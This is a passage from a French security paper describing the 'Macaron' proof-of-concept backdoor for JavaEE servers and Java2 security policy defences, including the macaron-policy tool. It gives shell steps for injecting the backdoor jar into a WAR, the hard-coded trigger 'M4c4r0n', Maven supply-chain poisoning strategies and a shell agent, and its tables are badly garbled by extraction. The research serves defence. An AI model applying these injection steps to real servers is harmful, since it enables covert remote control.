Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
